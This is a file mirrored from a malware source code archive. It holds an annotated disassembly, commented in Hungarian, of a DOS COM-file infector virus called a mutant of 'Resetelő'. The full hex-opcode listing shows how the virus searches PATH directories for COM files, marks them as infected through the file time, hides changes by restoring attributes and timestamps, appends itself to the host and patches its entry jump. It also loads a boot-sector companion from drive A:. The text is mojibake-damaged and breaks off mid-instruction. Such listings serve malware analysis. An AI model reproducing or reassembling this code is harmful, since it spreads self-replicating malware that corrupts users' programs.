mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 01:46:09 +00:00
669 lines
27 KiB
Plaintext
669 lines
27 KiB
Plaintext
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A Resetel<65> v<>rus T<>lt<6C>get<65> f<>le mut<75>nsa
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***************************************
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A Resetel<65> v<>russal teljes eg<65>sz<73>ben megegyezik a fert<72>z<EFBFBD> mechanizmus.
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Eltekintve att<74>l, hogy ez a mut<75>ns nem tesz t<>nkre f<>jlokat. Az adatter<65>let is
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ugyanazon a c<>men van, <20>gy ugyan<61>gy lehet <20>rtani, mint a Resetel<65>t. A v<>ltoz<6F>s:
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a v<>rus hossza 822 byte, minden ind<6E>t<EFBFBD>s ut<75>n az A:-r<>l megpr<70>b<EFBFBD>lja beolvasni a
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BOOT-ot, majd a 40/80-dik s<>vot. Ha valamelyik T<>lt<6C>get<65>vel fert<72>z<EFBFBD>tt, akkor
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elind<EFBFBD>tja a T<>lt<6C>get<65>t !
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;Ide (0100-ra) mutat a file elej<65>r<EFBFBD>l az ugr<67> utas<61>t<EFBFBD>s.
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;Els<6C> feladat: az els<6C> 3 byte vissza<7A>r<EFBFBD>sa az eredetire.
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0100 51 PUSH CX ;CX a stacken marad mindv<64>gig.
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;A k<>vetkez<65> utas<61>t<EFBFBD>s operandus<75>t ( jelen esetben 02F9-et )
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;fert<72>z<EFBFBD>skor <20>ll<6C>tja be , <20>gy mindig a helyes c<>mre mutat.
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0101 BAF902 MOV DX,02F9 ;Eredeti els<6C> 3 byte c<>me-10h
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0104 FC CLD ;( ERE_DTA_OFS)
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0105 8BF2 MOV SI,DX
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0107 81C60A00 ADD SI,000A ;SI=offset ERE_KEZD
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010B BF0001 MOV DI,0100 ;Program eleje
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010E B90300 MOV CX,0003 ;3 byte
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0111 F3 REPZ
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0112 A4 MOVSB ;Az eredeti byteok vissza<7A>ll<6C>t<EFBFBD>sa
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;-----------------------------------------
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; Install<6C>ci<63>s r<>sz:
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;-----------------------------------------
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;DOS verzi<7A> lek<65>rdez<65>se. 1.00-n<>l kisebb verzi<7A>n<EFBFBD>l az eredeti
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;program futtat<61>sa: ekkor a v<>rus nem m<>k<EFBFBD>dik.
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0113 8BF2 MOV SI,DX ;Ezut<75>n SI-ben az adatter<65>let c<>me
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0115 B430 MOV AH,30
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0117 CD21 INT 21 ;DOS verzi<7A> lek<65>rdez<65>se
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0119 3C00 CMP AL,00 ;Csak 1.00-n<>l kisebbn<62>l l<>p ki
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011B 7503 JNZ 0120
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011D E9C701 JMP 02E7 ;Eredeti program futtat<61>sa
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;Disk Transzfer Address lek<65>rdez<65>se, elment<6E>se
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0120 06 PUSH ES
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0121 B42F MOV AH,2F
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0123 CD21 INT 21 ;DTA leolvas<61>sa (ES:BX), meg<65>rz<72>se
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0125 899C0000 MOV [SI+0000],BX ;ERE_DTA_OFS (02F9)
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0129 8C840200 MOV [SI+0002],ES ;ERE_DTA_SEG (02FB)
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;-------------------------------------------------------
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; A beiktatott beh<65>z<EFBFBD> r<>sz
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;-------------------------------------------------------
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012D E85802 CALL 0388
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0130 07 POP ES
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;DTA be<62>ll<6C>t<EFBFBD>sa ENTRY c<>m<EFBFBD>re (0358). Igy a FindFirst, FindNext
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;DOS funkci<63>k ide fogj<67>k m<>solni a file adatait (nev<65>t,idej<65>t,
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;hossz<73>t,stb).
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0131 BA5F00 MOV DX,005F
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;{Val<61>sz<73>n<EFBFBD>leg r<>gi assemblerrel <20>rt<72>k a v<>rust, ez<65>rt van itt
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;egy NOP utas<61>t<EFBFBD>s.}
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0134 90 NOP
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0135 03D6 ADD DX,SI
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0137 B41A MOV AH,1A
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0139 CD21 INT 21 ;DTA <20>ll<6C>t<EFBFBD>sa DS:DX-re: ENTRY(0358)
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;A PATH-ok c<>m<EFBFBD>nek megkeres<65>se. Ha az aktu<74>lis k<>nyvt<76>rban m<>r
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;mindegyik filet megfert<72>zte , itt taj<61>lja meg azoknak az al-
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;k<>nyvt<76>raknak a nev<65>t , amelyekben m<>g megfert<72>zend<6E> fileokat
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;tal<61>lhat.
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013B 06 PUSH ES
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013C 56 PUSH SI
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013D 8E062C00 MOV ES,[002C];Environment (k<>rnyezet) segmense
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0141 BF0000 MOV DI,0000 ;ES:DI fog a megfelel<65> helyre
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;(a k<>vetkez<65> directoryra) mutatni
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;A k<>vetkez<65> r<>sz a PATH= sz<73>veget keresi meg az environment
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;ter<65>leten:
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0144 5E POP SI
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0145 56 PUSH SI
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0146 81C61A00 ADD SI,001A ;STR_PATH (0313)
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014A AC LODSB ;AL=DS:[SI],SI++
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014B B90080 MOV CX,8000 ;max 32k az environment
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014E F2 REPNZ
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014F AE SCASB ;AL-ES:[DI] Megkeresi a k<>vetkez<65>
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;'P' bet<65>t
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0150 B90400 MOV CX,0004 ;M<>g 4 bet<65> azonos<6F>t<EFBFBD>sa
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0153 AC LODSB ;AL=DS:[SI],SI++
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0154 AE SCASB ;AL-ES:[DI],DI++
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0155 75ED JNZ 0144 ;Ugr<67>s, ha a k<>vetkez<65> 4 bet<65> nem
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;egyezik (nem 'ATH=')
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0157 E2FA LOOP 0153
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0159 5E POP SI ;ES:DI mutat az els<6C> PATH-ra
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015A 07 POP ES
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015B 89BC1600 MOV [SI+0016],DI ;PATH_MUT (030F)
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015F 8BFE MOV DI,SI ;{Hogy ez minek ? K<>s<EFBFBD>bb <20>gyis
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0161 81C71F00 ADD DI,001F ;fel<65>l<EFBFBD>rja} FILE_PATH (0318)
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0165 8BDE MOV BX,SI ;Ezut<75>n BX mutat az adatokra
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0167 81C61F00 ADD SI,001F ;SI is a FILE_PATH-ra(0318) mutat
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016B 8BFE MOV DI,SI ;{Az el<65>bb m<>r be<62>llitotta (?)}
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016D EB3A JMP 01A9
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;A k<>vetkez<65> PATH-ban megadott aldirectoryt FILE_PATH-ra m<>-
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;solja. Igy a k<>vetkez<65> fileokat m<>r ebben az aldirectoryban
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;fogja keresni.
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016F 83BC160000 CMP WORD PTR [SI+0016],+00 ;PATH_MUT (030F)
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0174 7503 JNZ 0179
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0176 E96001 JMP 02D9 ;Ugr<67>s, ha nincs t<>bb PATH aldir.
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;(mindet megfert<72>te m<>r)
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0179 1E PUSH DS
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017A 56 PUSH SI
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017B 26 ES:
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017C 8E1E2C00 MOV DS,[002C] ;Environment segmense
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0180 8BFE MOV DI,SI ;(02F9)
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0182 26 ES:
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0183 8BB51600 MOV SI,[DI+0016] ;PATH_MUT (030F)
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0187 81C71F00 ADD DI,001F ;FILE_PATH c<>me (0318)
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018B AC LODSB ;AL=DS:[SI] SI++
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018C 3C3B CMP AL,3B ;';'
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018E 740A JZ 019A
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0190 3C00 CMP AL,00
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0192 7403 JZ 0197
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0194 AA STOSB ;ES:[DI]:=AL DI++
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0195 EBF4 JMP 018B ;<3B>tm<74>sol<6F>s ';' vagy #0-ig
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;#0-val z<>rult a PATH bejegyz<79>s => nem lesz t<>bb
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0197 BE0000 MOV SI,0000
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019A 5B POP BX ;Ezut<75>n BX mutat az adatokra
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019B 1F POP DS
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019C 89B71600 MOV [BX+0016],SI ;PATH_MUT (030F) = 0
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;( Nincs t<>bb PATH jelz<6C>s )
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;A k<>vetkez<65> PATH-ban adott aldir. m<>r <20>tm<74>solva.
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01A0 807DFF5C CMP BYTE PTR [DI-01],5C
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01A4 7403 JZ 01A6 ;Ugr<67>s, ha az ut<75>ls<6C> bet<65> a '\'
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01A6 B05C MOV AL,5C ;Egy<67>bk<62>nt '\' <20>r<EFBFBD>s
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01A8 AA STOSB ;ES:[DI]:=AL DI++
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;Egy aldirectory ki<6B>rt<72>kel<65>se . El<45>sz<73>r az aktu<74>lis , majd a
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;FILE_PATH -ra m<>solt aldirectory v<>gign<67>z<EFBFBD>se, fert<72>z<EFBFBD>s.
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;DI a FILE_PATH-ba <20>rt aldirectory neve ut<75>ni pozici<63>ra mutat.
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;A COM kiterjeszt<7A>s<EFBFBD> fileok megkeres<65>se:
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01A9 89BF1800 MOV [BX+0018],DI ;FILE_NEV_MUT (0311)
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;Ide kell majd a file nev<65>t
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;m<>solni (az aldir. neve ut<75>n)
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01AD 8BF3 MOV SI,BX ;(02F9)
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01AF 81C61000 ADD SI,0010 ;KERES_STR (0309)
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01B3 B90600 MOV CX,0006 ;6 bet<65> <20>tm<74>sol<6F>sa ('*.COM',0)
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01B6 F3 REPZ ;A PATH-ban megadott aldirectory
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01B7 A4 MOVSB ;m<>g<EFBFBD> , <20>gy teljes keres<65>si utunk
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;lesz
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01B8 8BF3 MOV SI,BX ;(02F9)
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01BA B44E MOV AH,4E ;FIND FIRST ENTRY
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01BC BA1F00 MOV DX,001F
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01BF 90 NOP
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01C0 03D6 ADD DX,SI ;FILE_PATH (0318)
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01C2 B90300 MOV CX,0003 ;HIDDEN, READ ONLY
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01C5 CD21 INT 21 ;Az els<6C> COM kiterjeszt<7A>s<EFBFBD> file
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;megkeres<65>se . A file adatait a DTA
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;<3B>ltal mutatott c<>mre (ENTRY 0358)
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;m<>solja.
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01C7 EB04 JMP 01CD
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;K<>vetkez<65> COM file keres<65>se (adatai ENTRY-re ker<65>lnek).
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01C9 B44F MOV AH,4F ;FIND NEXT
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01CB CD21 INT 21
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01CD 7302 JNB 01D1
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01CF EB9E JMP 016F ;Ha nem tal<61>l t<>bb COM filet : <20>j
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;aldirt keres a PATH-ban
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;M<>r tal<61>lt COM filet. Adataival az ENTRY fel van t<>ltve.Ennek
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;a filenak az ellen<65>rz<72>se, fert<72>z<EFBFBD>se k<>vetkezik.
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;Annak ellen<65>rz<72>se , hogy a file megfert<72>zhet<65>-e (fert<72>z<EFBFBD>tt-e,
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;t<>l hossz<73>-e, t<>l r<>vid-e) . Ha nem fert<72>zhet<65> visszaugrik <20>j
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;fileokat keresni.
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01D1 8B847500 MOV AX,[SI+0075] ;ENT_IDO (036E) A file ideje
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01D5 241F AND AL,1F
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01D7 3C1F CMP AL,1F ;Ugr<67>s, ha az als<6C> 5 bit 1-es:
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01D9 74EE JZ 01C9 ;a file m<>r fert<72>z<EFBFBD>tt.
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01DB 81BC790000FA CMP WORD PTR [SI+0079],FA00 ;ENT_HOSSZ (0372)
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01E1 77E6 JA 01C9 ;Ugr<67>s, ha file hossza nagyobb,mint
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;64000h (m<>r nem f<>r bele a v<>rus)
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01E3 83BC79000A CMP WORD PTR [SI+0079],+0A ;ENT_HOSSZ (0372)
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01E8 72DF JB 01C9 ;Ugr<67>s, ha r<>videbb 10h byten<65>l
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;-----------------------------------------
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; Megvan a kiv<69>laszott file.
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;-----------------------------------------
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;A file nev<65>t az aldirectory neve ut<75>n kell m<>solni , hogy a
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;teljes <20>t rendelkez<65>s<EFBFBD>nkre <20>lljon , <20>gy majd meg tudja nyitni
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;a filet.
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01EA 8BBC1800 MOV DI,[SI+0018] ;FILE_NEV_MUT (0311) Ide fogja
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01EE 56 PUSH SI ;a file nev<65>t m<>solni
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01EF 81C67D00 ADD SI,007D ;ENT_NEV (0376)
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01F3 AC LODSB ;AL:=DS:[SI] SI++
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01F4 AA STOSB ;ES:[DI]:=AL DI++ (M<>sol<6F>s)
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01F5 3C00 CMP AL,00 ;N<>vlez<65>r<EFBFBD> 0-ig m<>sol
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01F7 75FA JNZ 01F3
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01F9 5E POP SI ;SI <20>jra az adatokra mutat
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;A file egyes eredeti inform<72>ci<63>inak meg<65>rz<72>se , hogy a fert<72>-
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;z<>s ne t<>nj<6E>n fel.
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;Az eredeti attributtum meg<65>rz<72>se:
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;{Fogalmam sincs mi<6D>rt kell a file attributtum<75>t m<>g egyszer
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;lek<65>rdezni , amikor az ENTRY ter<65>leten megtal<61>lhat<61> . Tal<61>n a
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;v<>rus <20>r<EFBFBD>ja nem tudta?}
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01FA B80043 MOV AX,4300 ;File attributtum<75>nak lek<65>rdez<65>se
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01FD BA1F00 MOV DX,001F ;FILE_PATH ([SI+1F] 0318)
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0200 90 NOP ;{piszok}
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0201 03D6 ADD DX,SI ;DS:DX mutat a file <20>tj<74>ra
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0203 CD21 INT 21 ;CX-ben az attributtum
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0205 898C0800 MOV [SI+0008],CX ;ERE_ATTR (0301)
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;A file <20>r<EFBFBD>sv<73>delm<6C>nek t<>rl<72>se:
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0209 B80143 MOV AX,4301 ;File attributtum<75>nak <20>llit<69>sa
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020C 81E1FEFF AND CX,FFFE ;Read Only jelz<6C>s t<>rl<72>se
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0210 BA1F00 MOV DX,001F ;{ Az el<65>bb m<>r be<62>ll<6C>totta, minek
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0213 90 NOP ;<3B>jra? }
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0214 03D6 ADD DX,SI ;FILE_PATH (0318)
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0216 CD21 INT 21
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;File megnyit<69>sa:
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0218 B8023D MOV AX,3D02 ;File megnyit<69>sa <20>r<EFBFBD>sra, olvas<61>sra
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021B BA1F00 MOV DX,001F ;{M<>g egyszer be<62>ll<6C>tja!}
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021E 90 NOP ;{piszok}
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021F 03D6 ADD DX,SI ;FILE_PATH (0318)
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0221 CD21 INT 21
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0223 7303 JNB 0228
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0225 E9A200 JMP 02CA ;Hib<69>n<EFBFBD>l: nincs fert<72>z<EFBFBD>s
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0228 8BD8 MOV BX,AX ;Handle
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;A file eredeti (mostani) idej<65>nek lek<65>rdez<65>se:
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;{Ez is megtal<61>lhat<61> lenne az ENTRY ter<65>leten!}
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022A B80057 MOV AX,5700 ;Get Date & Time
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022D CD21 INT 21
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022F 898C0400 MOV [SI+0004],CX ;ERE_TIME (02FD)
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0233 89940600 MOV [SI+0006],DX ;ERE_DATE (02FF)
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;Annak eld<6C>nt<6E>se , hogy a kiv<69>lasztott filet t<>nkretegye-e ,
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;vagy megfert<72>zze . Lek<65>rdezi a jelenlegi id<69>t , <20>s ha m<>sod-
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;perceinek sz<73>ma 8-cal oszthat<61> , akkor a filet resetel<65>v<EFBFBD> te-
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;szi, egy<67>bk<62>nt pedig megfert<72>zi. Igy az esetek 2/15-<2D>d r<>sz<73>-
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;ben teszi csak t<>nkre a filet.
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0237 B42C MOV AH,2C ;A mostani id<69> lek<65>rdez<65>se
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0239 CD21 INT 21
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023B 80E607 AND DH,07 ;A m<>sodpercek als<6C> 3 bitje
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023E EB0D JMP 024D ;Fert<72>z<EFBFBD>s
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0240 90 NOP
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|||
|
|
|||
|
; Szem<65>t a Reselet<65>lb<6C>l
|
|||
|
|
|||
|
0241 B440 MOV AH,40
|
|||
|
0243 B90500 MOV CX,0005
|
|||
|
0246 8BD6 MOV DX,SI
|
|||
|
0248 81C28A00 ADD DX,008A
|
|||
|
024C 90 NOP
|
|||
|
|
|||
|
;-----------------------------------------
|
|||
|
; Fert<72>z<EFBFBD>s:
|
|||
|
;-----------------------------------------
|
|||
|
|
|||
|
|
|||
|
;Az eredeti file els<6C> 3 bytej<65>nak meg<65>rz<72>se , hogy k<>s<EFBFBD>bb m<>g
|
|||
|
;futtatni lehessen.
|
|||
|
024D B43F MOV AH,3F ;Olvas<61>s fileb<65>l
|
|||
|
024F B90300 MOV CX,0003 ;Az els<6C> 3 byte beolvas<61>sa
|
|||
|
0252 BA0A00 MOV DX,000A
|
|||
|
0255 90 NOP ;{piszok}
|
|||
|
0256 03D6 ADD DX,SI ;ERE_KEZD (0303)
|
|||
|
0258 CD21 INT 21
|
|||
|
025A 7255 JB 02B1 ;Hib<69>n<EFBFBD>l v<>ge
|
|||
|
025C 3D0300 CMP AX,0003
|
|||
|
025F 7550 JNZ 02B1 ;Hib<69>n<EFBFBD>l v<>ge
|
|||
|
|
|||
|
|
|||
|
;File v<>g<EFBFBD>re <20>ll<6C>s, az <20>j c<>mek kisz<73>m<EFBFBD>t<EFBFBD>sa:
|
|||
|
|
|||
|
0261 B80242 MOV AX,4202 ;File Pointer file v<>g<EFBFBD>re <20>ll<6C>t<EFBFBD>sa
|
|||
|
0264 B90000 MOV CX,0000
|
|||
|
0267 BA0000 MOV DX,0000
|
|||
|
026A CD21 INT 21
|
|||
|
026C 7243 JB 02B1 ;{Itt nem nagyon lehet hiba!}
|
|||
|
|
|||
|
|
|||
|
;A file elej<65>re irand<6E> JMP operandus<75>nak kisz<73>m<EFBFBD>t<EFBFBD>sa:
|
|||
|
|
|||
|
026E 8BC8 MOV CX,AX ;AX-ben a file hossza
|
|||
|
0270 2D0300 SUB AX,0003 ;AX-ben az eltol<6F>s a JMP utas<61>t<EFBFBD>s-
|
|||
|
;hoz, ahhoz amit a file elej<65>re fog
|
|||
|
;majd <20>rni . Igy ez a JMP a file
|
|||
|
;mostani v<>ge ut<75>ni bytera fog mu-
|
|||
|
;tatni.
|
|||
|
0273 89840E00 MOV [SI+000E],AX ;CIM_JMP (0307)
|
|||
|
|
|||
|
|
|||
|
;Az <20>j fileon bel<65>li adatter<65>let c<>m<EFBFBD>nek kisz<73>m<EFBFBD>t<EFBFBD>sa <20>s be<62>l-
|
|||
|
;l<>t<EFBFBD>sa:
|
|||
|
|
|||
|
0277 81C1F902 ADD CX,02F9 ;CX az <20>j fileon bel<65>li adatter<65>-
|
|||
|
027B 8BFE MOV DI,SI ;letre mutat.
|
|||
|
027D 81EFF701 SUB DI,01F7 ;A v<>rus els<6C> utas<61>t<EFBFBD>s<EFBFBD>nak (MOV DX,
|
|||
|
;02F9) operandus<75>nak c<>me.
|
|||
|
0281 890D MOV [DI],CX ;Ide <20>rja az adatter<65>let c<>m<EFBFBD>t
|
|||
|
|
|||
|
|
|||
|
;-----------------------------------------
|
|||
|
; A v<>rus hozz<7A>m<EFBFBD>solja mag<61>t a filehoz:
|
|||
|
;-----------------------------------------
|
|||
|
|
|||
|
;(A filemutat<61> a file v<>g<EFBFBD>re mutat.)
|
|||
|
0283 B440 MOV AH,40 ;Ir<49>s fileba.
|
|||
|
0285 B93603 MOV CX,0336 ;822 byte (a v<>rus hossza)
|
|||
|
0288 8BD6 MOV DX,SI
|
|||
|
028A 81EAF901 SUB DX,01F9 ;DX a v<>rus els<6C> bytej<65>ra mutat
|
|||
|
028E CD21 INT 21
|
|||
|
0290 721F JB 02B1 ;Hib<69>n<EFBFBD>l v<>ge
|
|||
|
0292 3D3603 CMP AX,0336
|
|||
|
0295 751A JNZ 02B1 ;Ha nem <20>rta ki mind a 648 byteot
|
|||
|
|
|||
|
|
|||
|
;Az els<6C> 3 byte <20>t<EFBFBD>ll<6C>t<EFBFBD>sa, egy a file v<>g<EFBFBD>re mutat<61> ugr<67> uta-
|
|||
|
;s<>t<EFBFBD>sra:
|
|||
|
|
|||
|
0297 B80042 MOV AX,4200 ;A file pointer a file elej<65>re!
|
|||
|
029A B90000 MOV CX,0000
|
|||
|
029D BA0000 MOV DX,0000
|
|||
|
02A0 CD21 INT 21
|
|||
|
02A2 720D JB 02B1 ;{Itt sem lehet hiba!}
|
|||
|
|
|||
|
02A4 B440 MOV AH,40 ;Ir<49>s fileba
|
|||
|
02A6 B90300 MOV CX,0003 ;3 byte
|
|||
|
02A9 8BD6 MOV DX,SI
|
|||
|
02AB 81C20D00 ADD DX,000D ;B_JMP (0306) DX az ugr<67> utas<61>t<EFBFBD>sra
|
|||
|
02AF CD21 INT 21 ;mutat
|
|||
|
|
|||
|
|
|||
|
;Az eredeti id<69> ( m<>r a fert<72>z<EFBFBD>sjelz<6C>ssel egy<67>tt ) vissza<7A>ll<6C>-
|
|||
|
;t<>sa:
|
|||
|
|
|||
|
02B1 8B940600 MOV DX,[SI+0006] ;ERE_DATE (02FF)
|
|||
|
02B5 8B8C0400 MOV CX,[SI+0004] ;ERE_TIME (027D)
|
|||
|
02B9 81E1E0FF AND CX,FFE0 ;{Teljesen felesleges!}
|
|||
|
02BD 81C91F00 OR CX,001F ;M<>r volt fert<72>zve jelz<6C>s
|
|||
|
02C1 B80157 MOV AX,5701 ;Set Date & Time
|
|||
|
02C4 CD21 INT 21
|
|||
|
|
|||
|
|
|||
|
;A file lez<65>r<EFBFBD>sa:
|
|||
|
|
|||
|
02C6 B43E MOV AH,3E ;Close Handle
|
|||
|
02C8 CD21 INT 21
|
|||
|
|
|||
|
|
|||
|
;Az eredeti attributtum vissza<7A>ll<6C>t<EFBFBD>sa:
|
|||
|
|
|||
|
02CA B80143 MOV AX,4301 ;Set File Attributtum
|
|||
|
02CD 8B8C0800 MOV CX,[SI+0008] ;ERE_ATTR (0301)
|
|||
|
02D1 BA1F00 MOV DX,001F
|
|||
|
02D4 90 NOP
|
|||
|
02D5 03D6 ADD DX,SI ;FILE_PATH (0318)
|
|||
|
02D7 CD21 INT 21
|
|||
|
|
|||
|
|
|||
|
;DTA vissza<7A>ll<6C>t<EFBFBD>sa az eredeti c<>mre:
|
|||
|
|
|||
|
02D9 1E PUSH DS
|
|||
|
02DA B41A MOV AH,1A ;Set DTA
|
|||
|
02DC 8B940000 MOV DX,[SI+0000] ;ERE_DTA_OFS (02F9)
|
|||
|
02E0 8E9C0200 MOV DS,[SI+0002] ;ERE_DTA_SEG (02FB)
|
|||
|
02E4 CD21 INT 21
|
|||
|
02E6 1F POP DS
|
|||
|
|
|||
|
|
|||
|
;-----------------------------------------
|
|||
|
; Az eredeti program futtat<61>sa:
|
|||
|
;-----------------------------------------
|
|||
|
|
|||
|
02E7 59 POP CX ;CX vissza<7A>ll<6C>t<EFBFBD>sa
|
|||
|
02E8 33C0 XOR AX,AX ;Regiszterek null<6C>z<EFBFBD>sa
|
|||
|
02EA 33DB XOR BX,BX
|
|||
|
02EC 33D2 XOR DX,DX
|
|||
|
02EE 33F6 XOR SI,SI
|
|||
|
02F0 BF0001 MOV DI,0100
|
|||
|
02F3 57 PUSH DI ;0100 a stackre
|
|||
|
02F4 33FF XOR DI,DI
|
|||
|
02F6 C2FFFF RET FFFF ;100-on folytat<61>dik a vez<65>rl<72>s
|
|||
|
;SP-- {Hogy minek?}
|
|||
|
|
|||
|
|
|||
|
|
|||
|
;-----------------------------------------
|
|||
|
; ADAT TER<45>LET
|
|||
|
;-----------------------------------------
|
|||
|
|
|||
|
|
|||
|
;Ide mutat (02F9-re) a v<>rus elej<65>n DX, k<>s<EFBFBD>bb SI,BX.
|
|||
|
|
|||
|
02F9 ERE_DTA_OFS DW (?) ;[SI+00] Eredeti DTA c<>me
|
|||
|
02FB ERE_DTA_SEG DW (?) ;[SI+02]
|
|||
|
|
|||
|
02FD ERE_TIME DW (?) ;[SI+04] A file eredeti ideje,
|
|||
|
02FF ERE_DATE DW (?) ;[SI+06] d<>tuma,
|
|||
|
0301 ERE_ATTR DW (?) ;[SI+08] attributtuma
|
|||
|
|
|||
|
0303 ERE_KEZD DB 3 DUP (?) ;[SI+0A]
|
|||
|
;A file eredeti els<6C> 3 byteja.
|
|||
|
|
|||
|
;A k<>vetkez<65> 3 byteon lesz az a 3 byte , amit a v<>rus egy meg-
|
|||
|
;fert<72>zend<6E> file elej<65>re fog <20>rni.
|
|||
|
|
|||
|
0306 B_JMP DB E9 ;[SI+0D]
|
|||
|
;JMP g<>pik<69>dja
|
|||
|
0307 CIM_JMP DW (?) ;Eltol<6F>s (JMP operandusa)
|
|||
|
|
|||
|
0309 KERES_STR DB '*.COM',0 ;[SI+10]
|
|||
|
;Ezt a stringet m<>solja a
|
|||
|
;FILE_NEV_MUT c<>mre
|
|||
|
|
|||
|
030F PATH_MUT DW (?) ;[SI+16]
|
|||
|
;Hol a k<>vetkez<65> aldirectory neve
|
|||
|
;az environmenten.
|
|||
|
|
|||
|
0311 FILE_NEV_MUT DW (?) ;[SI+18]
|
|||
|
;Az <20>tm<74>solt aldirectory m<>g<EFBFBD> mu-
|
|||
|
;tat.
|
|||
|
;Azt mutatja , hogy hova kell a
|
|||
|
;keres<65>si stringet(*.COM), majd a
|
|||
|
;file nev<65>t m<>solni a FILE_PATH-
|
|||
|
;on bel<65>l ahhoz, hogy teljes utat
|
|||
|
;kapjunk.
|
|||
|
|
|||
|
0313 STR_PATH DB 'PATH=' ;[SI+1A] Ezt a stringet keresi az
|
|||
|
;environment ter<65>leten.
|
|||
|
|
|||
|
0318 FILE_PATH DB 40 DUP (?);[SI+1F]
|
|||
|
;Itt lesz majd a keres<65>si string
|
|||
|
;<3B>s a fert<72>zend<6E> file neve <20>ttal
|
|||
|
;egy<67>tt.
|
|||
|
|
|||
|
|
|||
|
;Ide mutat a DTA. Ezt a ter<65>letet fogja a DOS a file adataival
|
|||
|
;felt<6C>lteni.
|
|||
|
|
|||
|
0358 ENTRY DB 15 DUP (?);Fenntartott [SI+5F]
|
|||
|
036D ENT_ATTR DB (?) ;Attributtum [SI+74]
|
|||
|
036E ENT_IDO DW (?) ;Keletkez<65>s ideje [SI+75]
|
|||
|
0370 ENT_DATUM DW (?) ;Keletkez<65>s d<>tuma [SI+77]
|
|||
|
0372 ENT_HOSSZ DW (?) ;Als<6C> sz<73> [SI+79]
|
|||
|
0374 DW (?) ;Fels<6C> sz<73> [SI+7B]
|
|||
|
0376 ENT_NEV DB 0D DUP (?);Megtal<61>lt file neve [SI+7D]
|
|||
|
|
|||
|
0383 RESET DB EA,F0,FF,00,F0 ;JMP F000:FFF0 [SI+8A]
|
|||
|
;Nem haszn<7A>lja
|
|||
|
|
|||
|
;----------------------------------------------------
|
|||
|
; A T<>lt<6C>get<65>t beh<65>z<EFBFBD> r<>sz
|
|||
|
;----------------------------------------------------
|
|||
|
|
|||
|
|
|||
|
0388 50 PUSH AX ;Regiszterek elment<6E>se
|
|||
|
0389 53 PUSH BX
|
|||
|
038A 51 PUSH CX
|
|||
|
038B 52 PUSH DX
|
|||
|
038C 06 PUSH ES
|
|||
|
038D 1E PUSH DS
|
|||
|
038E 57 PUSH DI
|
|||
|
038F 56 PUSH SI
|
|||
|
0390 E80000 CALL 0393 ;Lebuk<75>s !! (/g)
|
|||
|
0393 5B POP BX ;BX=0393
|
|||
|
|
|||
|
;A: BOOT beolvas<61>sa/T<>lt<6C>get<65> lek<65>rdez<65>se
|
|||
|
|
|||
|
0394 BEA55A MOV SI,5AA5 ;T<>lt<6C>get<65> lek<65>rdez<65>se
|
|||
|
0397 BFAA55 MOV DI,55AA
|
|||
|
039A 0E PUSH CS
|
|||
|
039B 07 POP ES
|
|||
|
039C 81C3E803 ADD BX,03E8 ;BX=077B
|
|||
|
03A0 81FBE803 CMP BX,03E8
|
|||
|
03A4 7303 JNB 03A9
|
|||
|
03A6 E98200 JMP 042B ;Ha nincs el<65>g szabad mem<65>ria a szegmensen
|
|||
|
03A9 53 PUSH BX
|
|||
|
03AA B80102 MOV AX,0201 ;A:BOOT beolvas<61>sa
|
|||
|
03AD BA0000 MOV DX,0000
|
|||
|
03B0 B90100 MOV CX,0001
|
|||
|
03B3 CD13 INT 13
|
|||
|
03B5 5B POP BX
|
|||
|
03B6 7308 JNB 03C0
|
|||
|
03B8 80FC06 CMP AH,06 ;Ha lemezcsere volt, az nem hiba
|
|||
|
03BB 74EC JZ 03A9
|
|||
|
03BD EB6C JMP 042B ;Val<61>di hiba->v<>ge
|
|||
|
03BF 90 NOP
|
|||
|
03C0 81FE5AA5 CMP SI,A55A
|
|||
|
03C4 7465 JZ 042B ;V<>ge, ha a T<>lt<6C>get<65> m<>r a mem<65>ri<72>ban van
|
|||
|
|
|||
|
;Van-e el<65>g szabad mem<65>ria a T<>lt<6C>get<65> beolvas<61>s<EFBFBD>hoz
|
|||
|
|
|||
|
03C6 8CC8 MOV AX,CS
|
|||
|
03C8 050010 ADD AX,1000
|
|||
|
03CB 53 PUSH BX
|
|||
|
03CC 50 PUSH AX
|
|||
|
03CD CD12 INT 12 ;Max mem.
|
|||
|
03CF BB4000 MOV BX,0040
|
|||
|
03D2 F7E3 MUL BX ;AX-ben a mem<65>ria tetej<65>nek szegmense
|
|||
|
03D4 2D0010 SUB AX,1000 ;legal<61>bb 4Kb kell a T<>lt<6C>get<65>nek
|
|||
|
03D7 8BD8 MOV BX,AX
|
|||
|
03D9 58 POP AX ;CS+1000
|
|||
|
03DA 3BD8 CMP BX,AX
|
|||
|
03DC 7304 JNB 03E2
|
|||
|
03DE 5B POP BX
|
|||
|
03DF EB4A JMP 042B ;V<>ge, ha nincs el<65>g szabad mem<65>ria
|
|||
|
03E1 90 NOP
|
|||
|
|
|||
|
; A lemez ut<75>ls<6C> s<>vj<76>nak megkeres<65>se
|
|||
|
|
|||
|
03E2 5B POP BX ;BX=077B
|
|||
|
03E3 8EC0 MOV ES,AX ;Max mem-1000
|
|||
|
03E5 2E CS:
|
|||
|
03E6 8B4718 MOV AX,[BX+18] ;S<>v hossza
|
|||
|
03E9 2E CS:
|
|||
|
03EA 8B4F1A MOV CX,[BX+1A] ;Oldalak sz<73>ma
|
|||
|
03ED F7E1 MUL CX
|
|||
|
03EF 8BC8 MOV CX,AX ;Egy cilinder nagys<79>ga
|
|||
|
03F1 2E CS:
|
|||
|
03F2 8B4713 MOV AX,[BX+13] ;Szektorok sz<73>ma
|
|||
|
03F5 BA0000 MOV DX,0000
|
|||
|
03F8 F7F1 DIV CX ;Osztva a cilinder nagys<79>g<EFBFBD>val AL-ben a s<>v
|
|||
|
|
|||
|
; Az ut<75>ls<6C> s<>v beolvas<61>sa
|
|||
|
|
|||
|
03FA 81EBE803 SUB BX,03E8 ;BX=0393
|
|||
|
03FE 53 PUSH BX
|
|||
|
03FF 8AE8 MOV CH,AL ;40/80-dik s<>v
|
|||
|
0401 B101 MOV CL,01
|
|||
|
0403 BB0001 MOV BX,0100 ;ES:BX-re olvas !
|
|||
|
0406 BA0000 MOV DX,0000
|
|||
|
0409 B80802 MOV AX,0208 ;8 szektor beolvas<61>sa
|
|||
|
040C CD13 INT 13
|
|||
|
040E 5B POP BX
|
|||
|
040F 721A JB 042B ;Hib<69>n<EFBFBD>l v<>ge
|
|||
|
|
|||
|
; Ha a T<>lt<6C>get<65>t tal<61>l, elind<6E>tja
|
|||
|
|
|||
|
0411 53 PUSH BX
|
|||
|
0412 BB0001 MOV BX,0100
|
|||
|
0415 26 ES:
|
|||
|
